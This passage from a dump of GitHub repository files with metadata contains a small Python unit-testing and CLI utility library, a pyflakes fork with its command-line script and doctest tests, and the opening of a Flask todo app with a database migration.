\"\"\"\n raise AttributeError(\n f.error(\n f\"Custom comparison implementation '{self.__name__}' must implement a 'compare' method.\"\n )\n )\n\n\nclass EqualTo(BaseComparison):\n operator = \"==\"\n negated = \"!=\"\n\n def compare(self, result, expected):\n return result == expected\n\n\ndef Not(comp: BaseComparison):\n \"\"\"\n Negate the value that is being expected\n \"\"\"\n if isinstance(comp, BaseComparison):\n comp._not = True\n else:\n comp = EqualTo(comp)\n comp._not = True\n return comp\n\n\nclass ListEqual(EqualTo):\n def compare(self, result, expected):\n if not isinstance(result, (list, tuple)):\n return False\n\n for result_val, expected_val in zip(result, expected):\n if result_val != expected_val:\n return False\n\n return True\n\n\nclass DictEqual(EqualTo):\n def compare(self, result: dict, expected: dict):\n if not isinstance(result, dict):\n return False\n\n for result_val, expect_val in zip(result.values(), expected.values()):\n if isinstance(result_val, dict):\n if not self.compare(result_val, expect_val):\n return False\n elif result_val != expect_val:\n return False\n\n return True\n\n\nclass HasType(BaseComparison):\n operator = \"instance of\"\n negated = \"not instance of\"\n\n def compare(self, result, expected):\n return isinstance(result, type(expected))\n\n\nclass LessThan(BaseComparison):\n operator = \"<\"\n negated = \"!<\"\n\n def compare(self, result, expected):\n return result < expected\n\n\nclass LessThanOrEqualTo(BaseComparison):\n operator = \"<=\"\n negated = \"!<=\"\n\n def compare(self, result, expected):\n return result <= expected\n\n\nclass GreaterThan(BaseComparison):\n operator = \">\"\n negated = \"!>\"\n\n def compare(self, result, expected):\n return result > expected\n\n\nclass GreaterThanOrEqualTo(BaseComparison):\n operator = \">=\"\n negated = \"!>=\"\n\n def compare(self, result, expected):\n return result >= expected\n\n\nclass ToRaise(BaseComparison):\n operator = \"instance of\"\n negated = \"not instance of\"\n\n def compare(self, result, expected):\n return isinstance(result, expected)\n\n\nclass ComparisonRunner:\n def __init__(self, test_subject: TestSubject, *args, **kwargs):\n self._test_subject = test_subject\n self._args = args\n self._kwargs = kwargs\n\n output_case_args(test_subject, *args, **kwargs)\n\n def _run(self, comparison: BaseComparison):\n t1 = perf_counter()\n\n # Only catch errors if the test is checking for an exception\n if isinstance(comparison, ToRaise):\n try:\n comparison.result = call_if_callable(\n self._test_subject, *self._args, **self._kwargs\n )\n except Exception as e:\n comparison.result = e\n else:\n comparison.result = call_if_callable(\n self._test_subject, *self._args, **self._kwargs\n )\n\n t2 = perf_counter()\n comparison.time_taken = t2 - t1\n\n comparison.passed = comparison.compare(comparison.result, comparison.expected)\n\n if comparison._not:\n comparison.passed = not comparison.passed\n comparison.operator, comparison.negated = (\n comparison.negated,\n comparison.operator,\n )\n\n # Check to see if result has same type as expected value,\n # If it doesn't, try to cast it.\n should_be_type = type(comparison.expected)\n if not isinstance(comparison.result, should_be_type):\n comparison.same_type = False\n\n return comparison\n\n def _parse(self, comparison: BaseComparison):\n time_unit = \"seconds\"\n time_taken = comparison.time_taken\n\n if time_taken > 0 and time_taken <= 0.01:\n time_taken = time_taken * 1000 # Convert to milliseconds\n time_unit = \"milliseconds\"\n\n if time_taken <= 0.01:\n time_taken = time_taken * 1000 # Convert to microseconds\n time_unit = \"microseconds\"\n\n time_taken = round(time_taken, sigfigs=3)\n\n if not comparison.passed:\n print(f.error(\" - FAIL -\"))\n\n print()\n\n print(\n f.bold(f.error(\" Received\")),\n comparison.negated,\n f.success(f.bold(\"Expected\")),\n )\n print(\n f.bold(\" \" + f.error(comparison.result)),\n comparison.negated,\n f.success(f.bold(comparison.expected)),\n )\n\n if not comparison.same_type:\n print(\n f.warning(\n f\"\\n Warning: expected and received values had different types.\"\n )\n )\n print(\n f.success(\n f\" Expected: {type(comparison.expected).__name__} ({comparison.expected})\"\n )\n )\n print(\n f.error(\n f\" Received: {type(comparison.result).__name__} ({comparison.result})\"\n )\n )\n\n time_taken != 0 and print(\n f.magenta(f\"\\n Execution time:\", f.bold(time_taken, time_unit)) + \"\\n\"\n )\n else:\n print(f.success(\" - PASS -\"))\n if not comparison.same_type:\n print(\n f.warning(\n f\"\\n Warning: expected and received values had different types.\"\n )\n )\n print(\n f.success(\n f\" Expected: {type(comparison.expected).__name__} ({comparison.expected})\"\n )\n )\n print(\n f.error(\n f\" Received: {type(comparison.result).__name__} ({comparison.result})\\n\"\n )\n )\n time_taken != 0 and print(\n f.magenta(f\" Execution time:\", f.bold(time_taken, time_unit)) + \"\\n\"\n )\n\n def should_equal(self, expected: Value):\n \"\"\"\n Result of call should be equal to expected\n \"\"\"\n self._parse(self._run(EqualTo(expected)))\n\n def should_be_less_than(self, expected: Value):\n \"\"\"\n Result of call should be less than expected\n \"\"\"\n self._parse(self._run(LessThan(expected)))\n\n def should_be_less_or_equal_to(self, expected: Value):\n \"\"\"\n Result of call should be less than or equal to expected\n \"\"\"\n self._parse(self._run(LessThanOrEqualTo(expected)))\n\n def should_be_greater_than(self, expected: Value):\n \"\"\"\n Result of call should be greater than to expected\n \"\"\"\n self._parse(self._run(GreaterThan(expected)))\n\n def should_be_greater_or_equal_to(self, expected: Value):\n \"\"\"\n Result of call should be greater than or equal to expected\n \"\"\"\n self._parse(self._run(GreaterThanOrEqualTo(expected)))\n\n def should_be(self, comparison: BaseComparison):\n \"\"\"\n Pass a custom comparison class which extends `BaseComparison` for use in unit test.\n \"\"\"\n if not isinstance(comparison, BaseComparison):\n raise TypeError(\n f.error(\n \"Argument passed to 'should' method must be a class which extends from BaseComparison, or one of the pre-defined comparison objects.\"\n )\n )\n\n self._parse(self._run(comparison))\n" }, { "alpha_fraction": 0.5257425904273987, "alphanum_fraction": 0.5311881303787231, "avg_line_length": 30.076923370361328, "blob_id": "68746698e6cc0621ba7afc0c5e15455a716c3a40", "content_id": "7b78a6b8d26b0df61baa024601f8e5b59ffb39e5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2020, "license_type": "permissive", "max_line_length": 87, "num_lines": 65, "path": "/src/samutil/cli.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "from os import getcwd, path\n\nimport click\n\nfrom .formatting import Formatter as f\nfrom .generation.core import generate_key\nfrom .testing.utils import test_dir, test_file, test_test_file\n\n\[email protected](\"samutil\")\[email protected]_option(\"0.0.75\")\ndef main():\n \"\"\"Samutil Python CLI\"\"\"\n pass\n\n\[email protected](\"test\")\[email protected](\"filenames\", nargs=-1, required=False)\ndef test(filenames: tuple[click.Path]):\n if len(filenames) == 0:\n test_dir(\".\", search=True)\n else:\n if filenames[0] == \".\":\n print(f.error(\"To test an entire directory, use '*'\"))\n return\n for file in filenames:\n filename = click.format_filename(file)\n ignore_dirs = [\"__pycache__\", \"venv\", \"env\", \"virtualenv\", \"build\", \"dist\"]\n if path.isdir(filename):\n if filename not in ignore_dirs:\n test_dir(filename, search=False)\n elif path.isfile(filename) and filename.endswith(\".py\"):\n if filename.endswith(\".test.py\"):\n test_test_file(filename)\n else:\n test_file(filename, search=False)\n else:\n print(\n f.warning(\n \"WARNING: Skipping\",\n f.underline(f.bold(str(file))),\n \"as it is not a directory or valid test file.\",\n )\n )\n\n\[email protected](\"key\")\[email protected](\"-l\", \"--length\", type=int, default=6)\[email protected](\"-a\", \"--amount\", type=int, default=1)\[email protected](\"-o\", \"--out\", type=str, default=None)\ndef key(length: int = 6, amount: int = 1, out: click.Path = None):\n tokens = []\n for _ in range(amount):\n tokens.append(generate_key(length))\n\n if out:\n with open(out, \"w+\") as o:\n o.write(\"\\n\".join(tokens))\n print(f.success(\"Wrote tokens to\", f.bold(out)))\n else:\n print(\"\\n\" + \"\\n\".join(tokens) + \"\\n\")\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.619596540927887, "alphanum_fraction": 0.6272814869880676, "avg_line_length": 31.53125, "blob_id": "cc642cf62e7adee52ffd4f53007ebeb70f197c7d", "content_id": "76d0cb74c77b40ee114621bb2a3b0d19c24a5091", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1041, "license_type": "permissive", "max_line_length": 100, "num_lines": 32, "path": "/setup.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "from setuptools import find_packages, setup\n\nsetup(\n name=\"samutil\",\n description=\"A set of Python utility packages for developing and maintaining quality software.\",\n version=\"0.0.75\",\n packages=find_packages(where=\"src\"),\n package_dir={\"\": \"src\"},\n install_requires=[\"click\", \"sigfig\", \"sortedcontainers\"],\n python_requires=\">=3\",\n include_package_data=True,\n py_modules=[\"cli\"],\n entry_points=\"\"\"\n [console_scripts]\n samutil = samutil.cli:main\n \"\"\",\n author=\"Sam McElligott\",\n keyword=\"testing, unittesting, formatting, secure, generation, utility\",\n long_description=\"README.md\",\n long_description_content_type=\"text/markdown\",\n license=\"MIT\",\n url=\"https://github.com/sammce/samutil\",\n project_urls={\n \"Bug Tracker\": \"https://github.com/sammce/samutil/issues\",\n },\n author_email=\"[email protected]\",\n classifiers=[\n \"License :: OSI Approved :: MIT License\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.7\",\n ],\n)\n" }, { "alpha_fraction": 0.7840909361839294, "alphanum_fraction": 0.7840909361839294, "avg_line_length": 21, "blob_id": "26eb29029a79b14cc416ba3a7efd2695a92ed710", "content_id": "59c9989bfae4012a53ef1f4bc2542421a9e717cd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 88, "license_type": "permissive", "max_line_length": 36, "num_lines": 4, "path": "/src/samutil/testing/types.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "from typing import Callable, Union\n\nValue = object\nTestSubject = Union[Callable, Value]\n" }, { "alpha_fraction": 0.8064516186714172, "alphanum_fraction": 0.8064516186714172, "avg_line_length": 30, "blob_id": "5c8040e03fcd51485b0ff561a31db630e458e30c", "content_id": "1a61017311d46b1b881bd44e7ebb78c8ee033b0d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 31, "license_type": "permissive", "max_line_length": 30, "num_lines": 1, "path": "/src/samutil/generation/__init__.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "from .core import generate_key\n" }, { "alpha_fraction": 0.6099353432655334, "alphanum_fraction": 0.6108171939849854, "avg_line_length": 30.211009979248047, "blob_id": "f817ad56194a0c15d433eba05d27d67fc167c4f3", "content_id": "0a38a93b1fb169856448132dbd8919885b84b390", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3402, "license_type": "permissive", "max_line_length": 90, "num_lines": 109, "path": "/src/samutil/testing/utils.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "import importlib.util\nimport os\nfrom types import FunctionType, ModuleType\nfrom typing import Callable, Tuple\n\nimport click\nfrom click.types import Path\nfrom samutil.formatting import Formatter as f\n\nfrom .types import TestSubject, Value\n\n\ndef call_if_callable(obj: object, *args, **kwargs) -> Tuple[Value, float]:\n \"\"\"\n Take an object and any amout of args, and call the object with the args\n if it can be called, with performance metrics.\n \"\"\"\n if callable(obj):\n if getattr(obj, \"_is_class\", False) and (not isinstance(obj, FunctionType)):\n response = obj(obj._parent(), *args, **kwargs)\n else:\n response = obj(*args, **kwargs)\n return response\n else:\n return obj, 0\n\n\ndef output_case_args(test_subject: TestSubject, *args, **kwargs):\n \"\"\"\n Take a test subject and all of the test's arguments and output it nicely.\n \"\"\"\n formatted_kwargs = [f\"{k}={v}\" for (k, v) in kwargs.items()]\n args = tuple(map(str, args))\n formatted_args = \", \".join([*args, *formatted_kwargs])\n formatted_output = f.bold(test_subject.__name__ + \"(\" + formatted_args + \")\")\n print(f.info(\" RUNS\", f.bold(formatted_output), \"\\b:\"))\n\n\ndef lazy_run_test(test, *args, comparison, **kwargs) -> Callable:\n case = test.with_args(*args, **kwargs)\n\n return lambda: case.should_be(comparison)\n\n\ndef make_lazy_run_test(*args, comparison, **kwargs):\n return lambda test: lazy_run_test(test, *args, comparison=comparison, **kwargs)\n\n\ndef import_file(filename: str, search: bool) -> ModuleType:\n \"\"\"\n Import the contents of a file and return it as a module\n \"\"\"\n\n spec = importlib.util.spec_from_file_location(\"mod\", filename)\n mod = importlib.util.module_from_spec(spec)\n try:\n spec.loader.exec_module(mod)\n except Exception as e:\n if not search:\n print(f.error(f\"Got error: '{e}' when executing '{filename}', skipping...\"))\n return\n\n return mod\n\n\ndef module_funcs(module: ModuleType):\n for func in module.__dict__.items():\n yield func\n\n\ndef test_file(filename: str, search: bool):\n \"\"\"\n Dynamically import a python file and check for functions declared with @case and @test\n \"\"\"\n\n module = import_file(filename, search=search)\n if module:\n for func in module_funcs(module):\n # func is a tuple in the form ('func_name', actual_func)\n func = func[1]\n if callable(func) and hasattr(func, \"_run_tests\"):\n print(f.bold(\"\\nFile:\", filename))\n for test in func._run_tests[::-1]:\n test(func)\n\n del module\n\n\ndef test_test_file(filename: str):\n with open(filename) as f:\n code = compile(f.read(), filename, \"exec\")\n exec(code)\n\n\ndef test_dir(dir: Path, search: bool):\n ignore_dirs = [\"__pycache__\", \"venv\", \"env\", \"virtualenv\", \"build\", \"dist\"]\n dirname = click.format_filename(dir)\n for file in os.listdir(dirname):\n filename = os.path.join(dirname, file)\n\n if os.path.isdir(filename):\n if filename not in ignore_dirs:\n test_dir(filename, search=search)\n elif os.path.isfile(filename):\n if filename.endswith(\".py\"):\n if filename.endswith(\".test.py\"):\n test_test_file(filename)\n else:\n test_file(filename, search=search)\n" }, { "alpha_fraction": 0.8148148059844971, "alphanum_fraction": 0.8148148059844971, "avg_line_length": 26, "blob_id": "efa3ad34c10ff14cfaf3e62b168d671deaf2d618", "content_id": "70e63ebeadb02ff2819ac7c8dfa81df0df78f2f0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27, "license_type": "permissive", "max_line_length": 26, "num_lines": 1, "path": "/src/samutil/testing/__init__.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "from .core import UnitTest\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6702702641487122, "avg_line_length": 26.75, "blob_id": "7835573482cccdd6093817317e67edbabaf46c46", "content_id": "4e4ee1474a793e01f3c9918d0fe643bd50aa52a6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 555, "license_type": "permissive", "max_line_length": 88, "num_lines": 20, "path": "/src/samutil/generation/core.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "from secrets import choice\nfrom string import ascii_letters, digits, punctuation\n\nKEY_LENGTH = 84\npunctuation = punctuation.replace('\"', \"\").replace(\"'\", \"\")\nALLOWED_CHARACTERS = ascii_letters + digits + punctuation\n\n\ndef generate_key(\n length: int = KEY_LENGTH, allowed_characters: str = ALLOWED_CHARACTERS\n) -> str:\n \"\"\"\n Generate a key using a given `length` from the set of charcters `allowed_characters`\n \"\"\"\n key = \"\"\n for _ in range(length):\n key += choice(allowed_characters)\n\n assert len(key) == length\n return key\n" }, { "alpha_fraction": 0.5709257125854492, "alphanum_fraction": 0.5709257125854492, "avg_line_length": 31.65517234802246, "blob_id": "59dd145e45ab37f1b1af55e75a668db322275b0f", "content_id": "4b4d31e5881297f2d871d9f63f0a3e994c78120c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2841, "license_type": "permissive", "max_line_length": 130, "num_lines": 87, "path": "/src/samutil/testing/core.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "from samutil.formatting import Formatter as f\n\nfrom .comparisons import ComparisonRunner\nfrom .types import TestSubject\n\n\nclass UnitTest:\n def __init__(self, test_subject: TestSubject):\n \"\"\"\n Instantiate a new UnitTest with a value or callback which is the\n subject of the test.\n \"\"\"\n self._test_subject = test_subject\n is_callable = callable(self._test_subject)\n\n if not is_callable:\n if not (\n hasattr(self._test_subject, \"__str__\")\n or hasattr(self._test_subject, \"__repr__\")\n ):\n raise ValueError(\n f\"UnitTest value '{self._test_subject} of type '{type(self._test_subject)}' has no __str__ or __repr__ method\"\n )\n name = str(self._test_subject)\n self._test_subject = lambda: self._test_subject\n else:\n name = self._test_subject.__name__\n\n self._test_subject._name = name\n\n def describe(self, testname: str, output: bool = True):\n self._test_subject._name = testname\n if output:\n self.output_test_name()\n\n def output_test_name(self):\n print(\"\\n\" + f.underline(self._test_subject._name + \"\\n\"))\n\n def value(self):\n \"\"\"\n Create a new test case using the value passed to `UnitTest` when it was instantiated.\n \"\"\"\n\n return ComparisonRunner(self._test_subject)\n\n def with_args(self, *args, **kwargs):\n \"\"\"\n Create a new test case, which calls the callable passed to the `UnitTest` when\n it was instantiated using the the args passed to this method.\n \"\"\"\n return ComparisonRunner(self._test_subject, *args, **kwargs)\n\n def __call__(self, *args, **kwargs):\n \"\"\"\n Create a new test case, which calls the callable passed to the `UnitTest` when\n it was instantiated using the the args passed to this method.\n \"\"\"\n return self.with_args(*args, **kwargs)\n\n def string(self):\n \"\"\"\n Run a test using the return value of the __str__ method defined on the\n test subject.\n \"\"\"\n return ComparisonRunner(str(self._test_subject))\n\n def type(self):\n return ComparisonRunner(type(self._test_subject))\n\n def method(self, methodname: str):\n \"\"\"\n Run a test on a specific method of the test subject\n \"\"\"\n method = getattr(self._test_subject, methodname, None)\n if not method:\n raise AttributeError(\n f.error(\n f\"Method '{methodname}' does not exist on object {self._test_subject.__name__}\"\n )\n )\n\n test = UnitTest(method)\n test.describe(self._test_subject._name)\n return test\n\n def __str__(self):\n return self._test_subject._name\n" }, { "alpha_fraction": 0.804347813129425, "alphanum_fraction": 0.804347813129425, "avg_line_length": 45, "blob_id": "ef5f7c66d3ef8db45c435cf4f8473cf5220ad21e", "content_id": "86ad5695e7cf43c5af69f2c6c51b1ef63924915b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 46, "license_type": "permissive", "max_line_length": 45, "num_lines": 1, "path": "/src/samutil/__init__.py", "repo_name": "sammce/samutil", "src_encoding": "UTF-8", "text": "from . import formatting, generation, testing\n" } ]
14
mattorb/pyflakes
https://github.com/mattorb/pyflakes
0cea57b402a837b52310c1172cd3e1b682a54033
0cb5c7fba21c27b4503fcead10bbebce2e368894
fef146784283362fa37465bd212b65b13774d8c5
refs/heads/master
2021-01-02T09:01:42.882254
2009-11-02T00:31:50
2009-11-02T00:32:51
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5623009204864502, "alphanum_fraction": 0.565298855304718, "avg_line_length": 32.35625076293945, "blob_id": "ad580b923998bf304cf0093a0e8a9cc32ddd5ebd", "content_id": "2f90c7823500748e8d8d07819244cd4125a76adb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5337, "license_type": "permissive", "max_line_length": 107, "num_lines": 160, "path": "/bin/pyflakes", "repo_name": "mattorb/pyflakes", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport compiler, sys\nimport os\nfrom pyflakes import checker, messages\nimport optparse\nimport fnmatch\nimport linecache\n\n\nclass MessageFilters(object):\n\n def __init__(self, filters=()):\n self.filters = list(filters)\n\n def add(self, class_name, arg, filename_pattern):\n self.filters.append((class_name, arg, filename_pattern))\n\n def show(self, message, filename):\n for class_name, arg, filename_pattern in self.filters:\n if filename_pattern:\n if not fnmatch.fnmatch(filename, filename_pattern):\n continue # this filter does not apply\n if message.__class__.__name__ == class_name or class_name == '*':\n if not arg or arg == '*':\n return False\n if (arg, ) == message.message_args[:1]:\n return False\n return True\n\n\nclass UnusedImportFilter(object):\n \"\"\"Suppress UnusedImport warnings if the import line has a comment.\"\"\"\n\n def show(self, message, filename):\n if isinstance(message, messages.UnusedImport):\n source_line = linecache.getline(filename, message.lineno)\n if '#' in source_line:\n return False\n return True\n\n\nclass CombinedFilter(object):\n\n def __init__(self, filters=()):\n self.filters = list(filters)\n\n def add(self, filter):\n self.filters.append(filter)\n\n def show(self, message, filename):\n for filter in self.filters:\n if not filter.show(message, filename):\n return False\n return True\n\n\nclass FilenameFilters(object):\n\n def __init__(self, patterns):\n self.patterns = patterns\n\n def allows(self, filename):\n for pattern in self.patterns:\n if fnmatch.fnmatch(filename, pattern):\n return False\n return True\n\n\ndef check(codeString, filename, filters):\n try:\n tree = compiler.parse(codeString)\n except (SyntaxError, IndentationError), e:\n msg = e.args[0]\n value = sys.exc_info()[1]\n try:\n (lineno, offset, text) = value[1][1:]\n except IndexError:\n print >> sys.stderr, 'could not compile %r' % (filename,)\n return 1\n line = text.splitlines()[-1]\n offset = offset - (len(text) - len(line))\n\n print >> sys.stderr, '%s:%d: %s' % (filename, lineno, msg)\n print >> sys.stderr, line\n print >> sys.stderr, \" \" * (offset-1) + \"^\"\n return 1\n else:\n try:\n w = checker.Checker(tree, filename)\n except:\n print >> sys.stderr, \"in %s:\" % filename\n raise\n w.messages.sort(lambda a, b: cmp(a.lineno, b.lineno))\n for warning in w.messages:\n if not filters.show(warning, filename):\n w.messages.remove(warning) # it doesn't affect return code\n else:\n print warning\n return len(w.messages)\n\n\ndef checkPath(filename, filters):\n if os.path.exists(filename):\n return check(file(filename, 'U').read(), filename, filters=filters)\n print >> sys.stderr, '%s: not found' % filename\n return 0\n\n\nparser = optparse.OptionParser()\nparser.add_option('-x', '--exclude', metavar='FILENAME_PATTERN',\n help='skip files matching this pattern (* matches /)',\n action='append', type='str', dest='exclude', default=[])\nparser.add_option('-i', '--ignore', metavar='WARNING_CLASS[:NAME[:FILENAME_PATTERN]][,...]',\n help='ignore warnings of a given class, or just names about a given name',\n action='append', type='str', dest='ignore', default=[])\nopts, args = parser.parse_args()\n\n\nexclude = FilenameFilters(opts.exclude)\n\nfilters = MessageFilters()\nfor arg in opts.ignore:\n if arg == 'help':\n print \"Warning classes:\"\n for name in sorted(dir(messages)):\n obj = getattr(messages, name)\n if isinstance(obj, type) and issubclass(obj, messages.Message) and obj is not messages.Message:\n print ' ', obj.__name__.ljust(24), ' ', obj.message.replace('%r', 'X').replace('%s', 'X')\n sys.exit(0)\n for spec in arg.split(','):\n bits = spec.split(':') + [None, None]\n class_name, arg, filename_pattern = bits[:3]\n filters.add(class_name, arg, filename_pattern)\n\nfilters = CombinedFilter([filters, UnusedImportFilter()])\n\nwarnings = 0\nif args:\n for arg in args:\n if os.path.isdir(arg):\n for dirpath, dirnames, filenames in os.walk(arg):\n dirnames.sort()\n for filename in sorted(filenames):\n if filename.endswith('.py'):\n filepath = os.path.join(dirpath, filename)\n if exclude.allows(filepath):\n thisWarningCount = checkPath(filepath,\n filters=filters)\n warnings += thisWarningCount\n else:\n if exclude.allows(arg):\n thisWarningCount = checkPath(filepath,\n filters=filters)\n warnings += thisWarningCount\n \nelse:\n warnings += check(sys.stdin.read(), '<stdin>', filters=filters)\n\nraise SystemExit(warnings > 0)\n" }, { "alpha_fraction": 0.46284788846969604, "alphanum_fraction": 0.46744123101234436, "avg_line_length": 26.014598846435547, "blob_id": "8f1b3161f8c1fb571f41d70b0b735d88a512399a", "content_id": "ef0ee1114cc25e426094bc910daea6e8a60d0a0c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3701, "license_type": "permissive", "max_line_length": 73, "num_lines": 137, "path": "/pyflakes/test/test_doctests.py", "repo_name": "mattorb/pyflakes", "src_encoding": "UTF-8", "text": "import textwrap\n\nfrom pyflakes.test.test_other import Test as TestOther\nfrom pyflakes.test.test_imports import Test as TestImports\nfrom pyflakes.test.test_undefined_names import Test as TestUndefinedNames\n\nimport pyflakes.messages as m\n\nclass Test(TestOther, TestImports, TestUndefinedNames):\n\n def doctestify(self, input):\n lines = []\n for line in textwrap.dedent(input).splitlines():\n if line.strip() == '':\n pass\n elif (line.startswith(' ') or\n line.startswith('except:') or\n line.startswith('except ') or\n line.startswith('finally:') or\n line.startswith('else:') or\n line.startswith('elif ')):\n line = \"... %s\" % line\n else:\n line = \">>> %s\" % line\n lines.append(line)\n doctestificator = '''\ndef doctest_something():\n \"\"\"\n %s\n \"\"\"\n'''\n return doctestificator % \"\\n \".join(lines)\n\n def flakes(self, input, *expectedOutputs):\n return super(Test, self).flakes(self.doctestify(input),\n *expectedOutputs)\n\n def test_doubleNestingReportsClosestName(self):\n \"\"\"\n Lines in doctest are a bit different so we can't use the test\n from TestUndefinedNames\n \"\"\"\n exc = super(Test, self).flakes('''\n def doctest_stuff():\n \"\"\"\n >>> def a():\n ... x = 1\n ... def b():\n ... x = 2 # line 4 in a doctest\n ... def c():\n ... x\n ... x = 3\n\n \"\"\"\n ''', m.UndefinedLocal).messages[0]\n self.assertEqual(exc.message_args, ('x', 4))\n\n def test_futureImport(self):\n \"\"\"XXX This test can't work in a doctest\"\"\"\n\n def test_importBeforeDoctest(self):\n super(Test, self).flakes(\"\"\"\n import foo\n\n def doctest_stuff():\n '''\n >>> foo\n '''\n \"\"\")\n\n def test_importBeforeAndInDoctest(self):\n super(Test, self).flakes('''\n import foo\n\n def doctest_stuff():\n \"\"\"\n >>> import foo\n >>> foo\n \"\"\"\n\n foo\n ''', m.RedefinedWhileUnused)\n\n def test_importInDoctestAndAfter(self):\n super(Test, self).flakes('''\n def doctest_stuff():\n \"\"\"\n >>> import foo\n >>> foo\n \"\"\"\n\n import foo\n foo()\n ''')\n\n def test_lineNumbersInDoctests(self):\n exc = super(Test, self).flakes('''\n\n def doctest_stuff():\n \"\"\"\n >>> x # line 5\n \"\"\"\n\n ''', m.UndefinedName).messages[0]\n self.assertEqual(exc.lineno, 5)\n\n def test_lineNumbersAfterDoctests(self):\n exc = super(Test, self).flakes('''\n\n def doctest_stuff():\n \"\"\"\n >>> x = 5\n \"\"\"\n\n x\n\n ''', m.UndefinedName).messages[0]\n self.assertEqual(exc.lineno, 8)\n\n def test_syntaxErrorInDoctest(self):\n exc = super(Test, self).flakes('''\n def doctest_stuff():\n \"\"\"\n >>> from # line 4\n \"\"\"\n ''', m.DoctestSyntaxError).messages[0]\n self.assertEqual(exc.lineno, 4)\n\n def test_indentationErrorInDoctest(self):\n exc = super(Test, self).flakes('''\n def doctest_stuff():\n \"\"\"\n >>> if True:\n ... pass\n \"\"\"\n ''', m.DoctestSyntaxError).messages[0]\n self.assertEqual(exc.lineno, 5)\n" } ]
2
mostafa-yasen/flask-todos-app
https://github.com/mostafa-yasen/flask-todos-app
c7e5eef548d831f2f84529ba77812f4cf30a6ca5
3650bcf67439962662eee4e1f2daccb2da2d5b9c
0cde2de124245a13cc5692dbe0e259dcda7afdb9
refs/heads/master
2023-04-08T11:04:42.061120
2021-04-22T11:06:06
2021-04-22T11:07:04
360,489,332
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5621399283409119, "alphanum_fraction": 0.5818930268287659, "avg_line_length": 26.613636016845703, "blob_id": "a8abb57d0b2509442ac5abaf60b52099884d30cc", "content_id": "e5b4c141b2435d43c361fb5ff66b6d9e3aa5c940", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1215, "license_type": "no_license", "max_line_length": 65, "num_lines": 44, "path": "/migrations/versions/dd94da5b9823_.py", "repo_name": "mostafa-yasen/flask-todos-app", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: dd94da5b9823\nRevises: 1509a69b03dd\nCreate Date: 2020-12-20 00:23:54.859592\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'dd94da5b9823'\ndown_revision = '1509a69b03dd'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('todo_lists', 'name',\n existing_type=sa.VARCHAR(),\n nullable=0)\n op.alter_column('todos', 'description',\n existing_type=sa.VARCHAR(),\n nullable=0)\n op.alter_column('todos', 'list_id',\n existing_type=sa.INTEGER(),\n nullable=0)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('todos', 'list_id',\n existing_type=sa.INTEGER(),\n nullable=True)\n op.alter_column('todos', 'description',\n existing_type=sa.VARCHAR(),\n nullable=False)\n op.alter_column('todo_lists', 'name',\n existing_type=sa.VARCHAR(),\n nullable=False)\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6384040117263794, "alphanum_fraction": 0.6427680850028992, "avg_line_length": 24.259841918945312, "blob_id": "4a997c6775bb578a40e12984e47c0e958f4c8834", "content_id": "0069520168d9bc97bbf54c41b511640fa667d413", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3208, "license_type": "no_license", "max_line_length": 95, "num_lines": 127, "path": "/app.py", "repo_name": "mostafa-yasen/flask-todos-app", "src_encoding": "UTF-8", "text": "import sys\nfrom flask import Flask, json, render_template, request, redirect, url_for, jsonify, abort\nfrom flask.globals import session\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate\nfrom sqlalchemy.orm import backref\n\napp = Flask(__name__)\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"postgres://postgres:password@localhost:5432/todos_app\"\ndb = SQLAlchemy(app, session_options={\"expire_on_commit\": False})\n\nmigrate = Migrate(app, db)\n\n\nclass TodoList(db.Model):\n __tablename__ = \"todo_lists\"\n id = db.Column(db.Integer, primary_key=1)\n name = db.Column(db.String, nullable=0)\n\n todos = db.relationship('ToDo', backref=\"list\", lazy=True)\n\n def __repr__(self):\n return f\"<TodoList id: {self.id} name: {self.name}>\"\n \n\nclass ToDo(db.Model):\n __tablename__ = \"todos\"\n id = db.Column(db.Integer, primary_key=1)\n description = db.Column(db.String(), nullable=0)\n completed = db.Column(db.Boolean, nullable=False, 